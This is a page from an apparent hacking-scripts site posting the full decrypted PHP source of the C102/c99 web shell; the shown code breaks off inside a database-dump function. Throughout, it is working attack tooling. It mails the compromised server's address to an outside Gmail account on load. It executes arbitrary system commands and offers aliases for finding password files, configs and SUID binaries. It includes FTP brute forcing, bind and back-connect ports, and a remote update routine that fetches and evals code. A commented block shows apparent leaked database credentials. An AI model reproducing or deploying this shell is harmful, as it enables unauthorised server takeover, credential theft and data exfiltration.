HackingScripts

Hack Scripts for everybody

C102 Shell

28 Jan 2014

This is the decrypted version of the C102/c99 shell. By EGY-MaF!4

C102Shell Source Code

   1 <?php 
   2 /*
   3 
   4 ###
   5 ###
   6 ###
   7 ###
   8 ###
   9 ###
  10 ###
  11 ###
  12 ###
  13 ###
  14 ###
  15 ###
  16 ###
  17 ###
  18 ###
  19 ###
  20 ###
  21 ###
  22 ###
  23 ###
  24 ###
  25 ###
  26 ###
  27 ###
  28 ###
  29 ###
  30 ###
  31 ###
  32 ###
  33 ###
  34 ###
  35 ####
  36 #                        EGY-MaF!4                              #
  37 
  38 ###
  39 ###
  40 ###
  41 ###
  42 ###
  43 ###
  44 ###
  45 ###
  46 ###
  47 ###
  48 ###
  49 ###
  50 ###
  51 ###
  52 ###
  53 ###
  54 ###
  55 ###
  56 ###
  57 ###
  58 ###
  59 ###
  60 ###
  61 ###
  62 ###
  63 ###
  64 ###
  65 ###
  66 ###
  67 ###
  68 ###
  69 ####
  70 // C102Shell
  71 // Coded By EGY-MaF!4
  72 // Contact: v4r@w.cn
  73 // Don't Hack Musllim & arabicSites 
  74 */
  75 /*
  76 //////////////////////////
  77 // $mysql_use = "yes"; //"no"   //
  78 // $mhost = "localhost";
  79 // $muser = "beautij5_cmsadm";
  80 // $mpass = "BP$ucc3$$";
  81 // $mdb = "beautij5_cmsdb02";
  82 /////////////////////////
  83 */
  84 
  85 ###
  86 ###
  87 ###
  88 ###
  89 ###
  90 ###
  91 ###
  92 ###
  93 ###
  94 ###
  95 ###
  96 ###
  97 ###
  98 ###
  99 ###
 100 ###
 101 ###
 102 ###
 103 ###
 104 ###
 105 ###
 106 ###
 107 ###
 108 ###
 109 ###
 110 ###
 111 ###
 112 ###
 113 ###
 114 ###
 115 ###
 116 ####
 117 #                                                          EGY-MaF!4                                                                  #
 118 
 119 ###
 120 ###
 121 ###
 122 ###
 123 ###
 124 ###
 125 ###
 126 ###
 127 ###
 128 ###
 129 ###
 130 ###
 131 ###
 132 ###
 133 ###
 134 ###
 135 ###
 136 ###
 137 ###
 138 ###
 139 ###
 140 ###
 141 ###
 142 ###
 143 ###
 144 ###
 145 ###
 146 ###
 147 ###
 148 ###
 149 ###
 150 ####
 151 // C102Shell
 152 // Coded By EGY-MaF!4
 153 // Don't Hack Musllim & arabicSites 
 154 if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} 
 155 error_reporting(5); 
 156 @ignore_user_abort(TRUE); 
 157 @set_magic_quotes_runtime(0); 
 158 $win = strtolower(substr(PHP_OS,0,3)) == "win"; 
 159 define("starttime",getmicrotime()); 
 160 if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} 
 161 $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); 
 162 foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} 
 163 $shver = "1.0 pRe-R3leaSe bui1d #09"; //Current version 
 164 //CONFIGURATION AND SETTINGS 
 165 if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} 
 166 elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} 
 167 else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL 
 168 $to = "egyptem4n@gmail.com" ; 
 169 $subject = "Sh3ll -> Here!!" ; 
 170 $message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; 
 171 mail ($to,$subject,$message) ; 
 172 $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); 
 173 } 
 174 $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. 
 175 if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} 
 176 if (empty($surl)) 
 177 { 
 178  $surl = "?".$includestr; //Self url 
 179 } 
 180 $surl = htmlspecialchars($surl); 
 181 $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. 
 182 //Authentication 
 183 $login = ""; //login 
 184 //DON'T FORGOT ABOUT PASSWORD!!! 
 185 $pass = ""; //password 
 186 $md5_pass = ""; //md5-cryped pass. if null, md5($pass) 
 187 $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") 
 188 $login_txt = "Restricted area"; //http-auth message. 
 189 $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c102shell v.".$shver."</a>: access denied"; 
 190 $gzipencode = TRUE; //Encode with gzip? 
 191 $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) 
 192 $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server 
 193 $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server 
 194 $filestealth = TRUE; //if TRUE, don't change modify- and access-time 
 195 $donated_html = "<center><b>Owned by hacker</b></center>"; 
 196 /* If you publish free shell and you wish 
 197 add link to your site or any other information, 
 198 put here your html. */ 
 199 $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. 
 200 $curdir = "./"; //start folder 
 201 //$curdir = getenv("DOCUMENT_ROOT"); 
 202 $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) 
 203 $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) 
 204 $log_email = "user@host.tld"; //Default e-mail for sending logs 
 205 $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending 
 206 $sort_save = TRUE; //If TRUE then save sorting-position using cookies. 
 207 // Registered file-types. 
 208 //  array( 
 209 //   "{action1}"=>array("ext1","ext2","ext3",...), 
 210 //   "{action2}"=>array("ext4","ext5","ext6",...), 
 211 //   ... 
 212 //  ) 
 213 $ftypes  = array( 
 214  "html"=>array("html","htm","shtml"), 
 215  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), 
 216  "exe"=>array("sh","install","bat","cmd"), 
 217  "ini"=>array("ini","inf"), 
 218  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), 
 219  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), 
 220  "sdb"=>array("sdb"), 
 221  "phpsess"=>array("sess"), 
 222  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") 
 223 ); 
 224 // Registered executable file-types. 
 225 //  array( 
 226 //   string "command{i}"=>array("ext1","ext2","ext3",...), 
 227 //   ... 
 228 //  ) 
 229 //   {command}: %f% = filename 
 230 $exeftypes  = array( 
 231  getenv("PHPRC")." -q %f%" => array("php","php3","php4"), 
 232  "perl %f%" => array("pl","cgi") 
 233 ); 
 234 /* Highlighted files. 
 235   array( 
 236    i=>array({regexp},{type},{opentag},{closetag},{break}) 
 237    ... 
 238   ) 
 239   string {regexp} - regular exp. 
 240   int {type}: 
 241 0 - files and folders (as default), 
 242 1 - files only, 2 - folders only 
 243   string {opentag} - open html-tag, e.g. "<b>" (default) 
 244   string {closetag} - close html-tag, e.g. "</b>" (default) 
 245   bool {break} - if TRUE and found match then break 
 246 */ 
 247 $regxp_highlight  = array( 
 248   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example 
 249   array("config.php",1) // example 
 250 ); 
 251 $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. 
 252  // array (i=>{letter} ...); string {letter} - letter of a drive 
 253 //$safemode_diskettes = range("a","z"); 
 254 $hexdump_lines = 8;// lines in hex preview file 
 255 $hexdump_rows = 24;// 16, 24 or 32 bytes in one line 
 256 $nixpwdperpage = 100; // Get first N lines from /etc/passwd 
 257 $bindport_pass = "c99";  // default password for binding 
 258 $bindport_port = "31373"; // default port for binding 
 259 $bc_port = "31373"; // default port for back-connect 
 260 $datapipe_localport = "8081"; // default port for datapipe 
 261 // Command-aliases 
 262 if (!$win) 
 263 { 
 264  $cmdaliases = array( 
 265   array("-----------------------------------------------------------", "ls -la"), 
 266   array("find all suid files", "find / -type f -perm -04000 -ls"), 
 267   array("find suid files in current dir", "find . -type f -perm -04000 -ls"), 
 268   array("find all sgid files", "find / -type f -perm -02000 -ls"), 
 269   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), 
 270   array("find config.inc.php files", "find / -type f -name config.inc.php"), 
 271   array("find config* files", "find / -type f -name \"config*\""), 
 272   array("find config* files in current dir", "find . -type f -name \"config*\""), 
 273   array("find all writable folders and files", "find / -perm -2 -ls"), 
 274   array("find all writable folders and files in current dir", "find . -perm -2 -ls"), 
 275   array("find all service.pwd files", "find / -type f -name service.pwd"), 
 276   array("find service.pwd files in current dir", "find . -type f -name service.pwd"), 
 277   array("find all .htpasswd files", "find / -type f -name .htpasswd"), 
 278   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), 
 279   array("find all .bash_history files", "find / -type f -name .bash_history"), 
 280   array("find .bash_history files in current dir", "find . -type f -name .bash_history"), 
 281   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), 
 282   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), 
 283   array("list file attributes on a Linux second extended file system", "lsattr -va"), 
 284   array("show opened ports", "netstat -an | grep -i listen") 
 285  ); 
 286 } 
 287 else 
 288 { 
 289  $cmdaliases = array( 
 290   array("-----------------------------------------------------------", "dir"), 
 291   array("show opened ports", "netstat -an") 
 292  ); 
 293 } 
 294 $sess_cookie = "c99shvars"; // Cookie-variable name 
 295 $usefsbuff = TRUE; //Buffer-function 
 296 $copy_unset = FALSE; //Remove copied files from buffer after pasting 
 297 //Quick launch 
 298 $quicklaunch = array( 
 299  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), 
 300  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), 
 301  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), 
 302  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), 
 303  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), 
 304  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), 
 305  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), 
 306  array("<b>Encoder</b>",$surl."act=encoder&d=%d"), 
 307  array("<b>Tools</b>",$surl."act=tools&d=%d"), 
 308  array("<b>Proc.</b>",$surl."act=processes&d=%d"), 
 309  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), 
 310  array("<b>Sec.</b>",$surl."act=security&d=%d"), 
 311  array("<b>SQL</b>",$surl."act=sql&d=%d"), 
 312  array("<b>PHP-code</b>",$surl."act=eval&d=%d"), 
 313  array("<b>Update</b>",$surl."act=update&d=%d"), 
 314  array("<b>Feedback</b>",$surl."act=feedback&d=%d"), 
 315  array("<b>Self remove</b>",$surl."act=selfremove"), 
 316  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") 
 317 ); 
 318 //Highlight-code colors 
 319 $highlight_background = "#c0c0c0"; 
 320 $highlight_bg = "#FFFFFF"; 
 321 $highlight_comment = "#6A6A6A"; 
 322 $highlight_default = "#0000BB"; 
 323 $highlight_html = "#1300FF"; 
 324 $highlight_keyword = "#007700"; 
 325 $highlight_string = "#000000"; 
 326 @$f = $_REQUEST["f"]; 
 327 @extract($_REQUEST["c99shcook"]); 
 328 //END CONFIGURATION 
 329 // \/Next code isn't for editing\/ 
 330 @set_time_limit(0); 
 331 $tmp = array(); 
 332 foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} 
 333 $s = "!^(".implode("|",$tmp).")$!i"; 
 334 if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c102shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} 
 335 if (!empty($login)) 
 336 { 
 337  if (empty($md5_pass)) {$md5_pass = md5($pass);} 
 338  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) 
 339  { 
 340   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} 
 341   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); 
 342   header("HTTP/1.0 401 Unauthorized"); 
 343   exit($accessdeniedmess); 
 344  } 
 345 } 
 346 if ($act != "img") 
 347 { 
 348 $lastdir = realpath("."); 
 349 chdir($curdir); 
 350 if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} 
 351 $sess_data = unserialize($_COOKIE["$sess_cookie"]); 
 352 if (!is_array($sess_data)) {$sess_data = array();} 
 353 if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} 
 354 if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} 
 355 $disablefunc = @ini_get("disable_functions"); 
 356 if (!empty($disablefunc)) 
 357 { 
 358  $disablefunc = str_replace(" ","",$disablefunc); 
 359  $disablefunc = explode(",",$disablefunc); 
 360 } 
 361 if (!function_exists("c99_buff_prepare")) 
 362 { 
 363 function c99_buff_prepare() 
 364 { 
 365  global $sess_data; 
 366  global $act; 
 367  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 368  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} 
 369  $sess_data["copy"] = array_unique($sess_data["copy"]); 
 370  $sess_data["cut"] = array_unique($sess_data["cut"]); 
 371  sort($sess_data["copy"]); 
 372  sort($sess_data["cut"]); 
 373  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} 
 374  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} 
 375 } 
 376 } 
 377 c99_buff_prepare(); 
 378 if (!function_exists("c99_sess_put")) 
 379 { 
 380 function c99_sess_put($data) 
 381 { 
 382  global $sess_cookie; 
 383  global $sess_data; 
 384  c99_buff_prepare(); 
 385  $sess_data = $data; 
 386  $data = serialize($data); 
 387  setcookie($sess_cookie,$data); 
 388 } 
 389 } 
 390 foreach (array("sort","sql_sort") as $v) 
 391 { 
 392  if (!empty($_GET[$v])) {$$v = $_GET[$v];} 
 393  if (!empty($_POST[$v])) {$$v = $_POST[$v];} 
 394 } 
 395 if ($sort_save) 
 396 { 
 397  if (!empty($sort)) {setcookie("sort",$sort);} 
 398  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} 
 399 } 
 400 if (!function_exists("str2mini")) 
 401 { 
 402 function str2mini($content,$len) 
 403 { 
 404  if (strlen($content) > $len) 
 405  { 
 406   $len = ceil($len/2) - 2; 
 407   return substr($content, 0,$len)."...".substr($content,-$len); 
 408  } 
 409  else {return $content;} 
 410 } 
 411 } 
 412 if (!function_exists("view_size")) 
 413 { 
 414 function view_size($size) 
 415 { 
 416  if (!is_numeric($size)) {return FALSE;} 
 417  else 
 418  { 
 419   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
 420   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
 421   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
 422   else {$size = $size . " B";} 
 423   return $size; 
 424  } 
 425 } 
 426 } 
 427 if (!function_exists("fs_copy_dir")) 
 428 { 
 429 function fs_copy_dir($d,$t) 
 430 { 
 431  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); 
 432  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
 433  $h = opendir($d); 
 434  while (($o = readdir($h)) !== FALSE) 
 435  { 
 436   if (($o != ".") and ($o != "..")) 
 437   { 
 438    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
 439    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
 440    if (!$ret) {return $ret;} 
 441   } 
 442  } 
 443  closedir($h); 
 444  return TRUE; 
 445 } 
 446 } 
 447 if (!function_exists("fs_copy_obj")) 
 448 { 
 449 function fs_copy_obj($d,$t) 
 450 { 
 451  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); 
 452  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); 
 453  if (!is_dir(dirname($t))) {mkdir(dirname($t));} 
 454  if (is_dir($d)) 
 455  { 
 456   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
 457   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} 
 458   return fs_copy_dir($d,$t); 
 459  } 
 460  elseif (is_file($d)) {return copy($d,$t);} 
 461  else {return FALSE;} 
 462 } 
 463 } 
 464 if (!function_exists("fs_move_dir")) 
 465 { 
 466 function fs_move_dir($d,$t) 
 467 { 
 468  $h = opendir($d); 
 469  if (!is_dir($t)) {mkdir($t);} 
 470  while (($o = readdir($h)) !== FALSE) 
 471  { 
 472   if (($o != ".") and ($o != "..")) 
 473   { 
 474    $ret = TRUE; 
 475    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
 476    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} 
 477    if (!$ret) {return $ret;} 
 478   } 
 479  } 
 480  closedir($h); 
 481  return TRUE; 
 482 } 
 483 } 
 484 if (!function_exists("fs_move_obj")) 
 485 { 
 486 function fs_move_obj($d,$t) 
 487 { 
 488  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); 
 489  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); 
 490  if (is_dir($d)) 
 491  { 
 492   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
 493   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} 
 494   return fs_move_dir($d,$t); 
 495  } 
 496  elseif (is_file($d)) 
 497  { 
 498   if(copy($d,$t)) {return unlink($d);} 
 499   else {unlink($t); return FALSE;} 
 500  } 
 501  else {return FALSE;} 
 502 } 
 503 } 
 504 if (!function_exists("fs_rmdir")) 
 505 { 
 506 function fs_rmdir($d) 
 507 { 
 508  $h = opendir($d); 
 509  while (($o = readdir($h)) !== FALSE) 
 510  { 
 511   if (($o != ".") and ($o != "..")) 
 512   { 
 513    if (!is_dir($d.$o)) {unlink($d.$o);} 
 514    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} 
 515   } 
 516  } 
 517  closedir($h); 
 518  rmdir($d); 
 519  return !is_dir($d); 
 520 } 
 521 } 
 522 if (!function_exists("fs_rmobj")) 
 523 { 
 524 function fs_rmobj($o) 
 525 { 
 526  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); 
 527  if (is_dir($o)) 
 528  { 
 529   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} 
 530   return fs_rmdir($o); 
 531  } 
 532  elseif (is_file($o)) {return unlink($o);} 
 533  else {return FALSE;} 
 534 } 
 535 } 
 536 if (!function_exists("myshellexec")) 
 537 { 
 538 function myshellexec($cmd) 
 539 { 
 540  global $disablefunc; 
 541  $result = ""; 
 542  if (!empty($cmd)) 
 543  { 
 544   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} 
 545   elseif (($result = `$cmd`) !== FALSE) {} 
 546   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} 
 547   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} 
 548   elseif (is_resource($fp = popen($cmd,"r"))) 
 549   { 
 550    $result = ""; 
 551    while(!feof($fp)) {$result .= fread($fp,1024);} 
 552    pclose($fp); 
 553   } 
 554  } 
 555  return $result; 
 556 } 
 557 } 
 558 if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} 
 559 if (!function_exists("view_perms")) 
 560 { 
 561 function view_perms($mode) 
 562 { 
 563  if (($mode & 0xC000) === 0xC000) {$type = "s";} 
 564  elseif (($mode & 0x4000) === 0x4000) {$type = "d";} 
 565  elseif (($mode & 0xA000) === 0xA000) {$type = "l";} 
 566  elseif (($mode & 0x8000) === 0x8000) {$type = "-";} 
 567  elseif (($mode & 0x6000) === 0x6000) {$type = "b";} 
 568  elseif (($mode & 0x2000) === 0x2000) {$type = "c";} 
 569  elseif (($mode & 0x1000) === 0x1000) {$type = "p";} 
 570  else {$type = "?";} 
 571  $owner["read"] = ($mode & 00400)?"r":"-"; 
 572  $owner["write"] = ($mode & 00200)?"w":"-"; 
 573  $owner["execute"] = ($mode & 00100)?"x":"-"; 
 574  $group["read"] = ($mode & 00040)?"r":"-"; 
 575  $group["write"] = ($mode & 00020)?"w":"-"; 
 576  $group["execute"] = ($mode & 00010)?"x":"-"; 
 577  $world["read"] = ($mode & 00004)?"r":"-"; 
 578  $world["write"] = ($mode & 00002)? "w":"-"; 
 579  $world["execute"] = ($mode & 00001)?"x":"-"; 
 580  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} 
 581  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} 
 582  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} 
 583  return $type.join("",$owner).join("",$group).join("",$world); 
 584 } 
 585 } 
 586 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} 
 587 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} 
 588 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} 
 589 if (!function_exists("parse_perms")) 
 590 { 
 591 function parse_perms($mode) 
 592 { 
 593  if (($mode & 0xC000) === 0xC000) {$t = "s";} 
 594  elseif (($mode & 0x4000) === 0x4000) {$t = "d";} 
 595  elseif (($mode & 0xA000) === 0xA000) {$t = "l";} 
 596  elseif (($mode & 0x8000) === 0x8000) {$t = "-";} 
 597  elseif (($mode & 0x6000) === 0x6000) {$t = "b";} 
 598  elseif (($mode & 0x2000) === 0x2000) {$t = "c";} 
 599  elseif (($mode & 0x1000) === 0x1000) {$t = "p";} 
 600  else {$t = "?";} 
 601  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; 
 602  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; 
 603  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; 
 604  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); 
 605 } 
 606 } 
 607 if (!function_exists("parsesort")) 
 608 { 
 609 function parsesort($sort) 
 610 { 
 611  $one = intval($sort); 
 612  $second = substr($sort,-1); 
 613  if ($second != "d") {$second = "a";} 
 614  return array($one,$second); 
 615 } 
 616 } 
 617 if (!function_exists("view_perms_color")) 
 618 { 
 619 function view_perms_color($o) 
 620 { 
 621  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} 
 622  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} 
 623  else {return "<font color=green>".view_perms(fileperms($o))."</font>";} 
 624 } 
 625 } 
 626 if (!function_exists("c99getsource")) 
 627 { 
 628 function c99getsource($fn) 
 629 { 
 630  global $c99sh_sourcesurl; 
 631  $array = array( 
 632   "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", 
 633   "c99sh_bindport.c" => "c99sh_bindport_c.txt", 
 634   "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", 
 635   "c99sh_backconn.c" => "c99sh_backconn_c.txt", 
 636   "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", 
 637   "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", 
 638  ); 
 639  $name = $array[$fn]; 
 640  if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} 
 641  else {return FALSE;} 
 642 } 
 643 } 
 644 if (!function_exists("c99sh_getupdate")) 
 645 { 
 646 function c99sh_getupdate($update = TRUE) 
 647 { 
 648  $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; 
 649  $data = @file_get_contents($url); 
 650  if (!$data) {return "Can't connect to update-server!";} 
 651  else 
 652  { 
 653   $data = ltrim($data); 
 654   $string = substr($data,3,ord($data{2})); 
 655   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} 
 656   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} 
 657   if ($data{0} == "\x99" and $data{1} == "\x03") 
 658   { 
 659    $string = explode("\x01",$string); 
 660    if ($update) 
 661    { 
 662     $confvars = array(); 
 663     $sourceurl = $string[0]; 
 664     $source = file_get_contents($sourceurl); 
 665     if (!$source) {return "Can't fetch update!";} 
 666     else 
 667     { 
 668      $fp = fopen(__FILE__,"w"); 
 669      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c102shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} 
 670      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} 
 671     } 
 672    } 
 673    else {return "New version are available: ".$string[1];} 
 674   } 
 675   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} 
 676   else {return "Error in protocol: segmentation failed! (".$data.") ";} 
 677  } 
 678 } 
 679 } 
 680 if (!function_exists("mysql_dump")) 
 681 { 
 682 function mysql_dump($set) 
 683 { 
 684  global $shver; 
 685  $sock = $set["sock"]; 
 686  $db = $set["db"]; 
 687  $print = $set["print"]; 
 688  $nl2br = $set["nl2br"]; 
 689  $file = $set["file"]; 
 690  $add_drop = $set["add_drop"]; 
 691  $tabs = $set["tabs"]; 
 692  $onlytabs = $set["onlytabs"]; 
 693  $ret = array(); 
 694  $ret["err"] = array(); 
 695  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} 
 696  if (empty($db)) {$db = "db";} 
 697  if (empty($print)) {$print = 0;} 
 698  if (empty($nl2br)) {$nl2br = 0;} 
 699  if (empty($add_drop)) {$add_drop = TRUE;} 
 700  if (empty($file)) 
 701  { 
 702   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; 
 703  } 
 704  if (!is_array($tabs)) {$tabs = array();} 
 705  if (empty($add_drop)) {$add_drop = TRUE;} 
 706  if (sizeof($tabs) == 0) 
 707  { 
 708   // retrive tables-list 
 709   $res = mysql_query("SHOW TABLES FROM ".$db, $sock); 
 710   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} 
 711  } 
 712  $out = "# Dumped by C102Shell.SQL v. ".$shver." 
 713 # Home page: http://google.com 
 714 # 
 715 # Host settings: 
 716 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." 
 717 # Date: ".date("d.m.Y H:i:s")." 
 718 # DB: \"".$db."\" 
 719 #--------------------------------------------------------- 
 720 "; 
 721  $c = count($onlytabs); 
 722  foreach($tabs as $tab) 
 723  { 
 724   if ((in_array($tab,$onlytabs)) or (!$c)) 
 725   { 
 726    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} 
 727    // recieve query for create table structure 
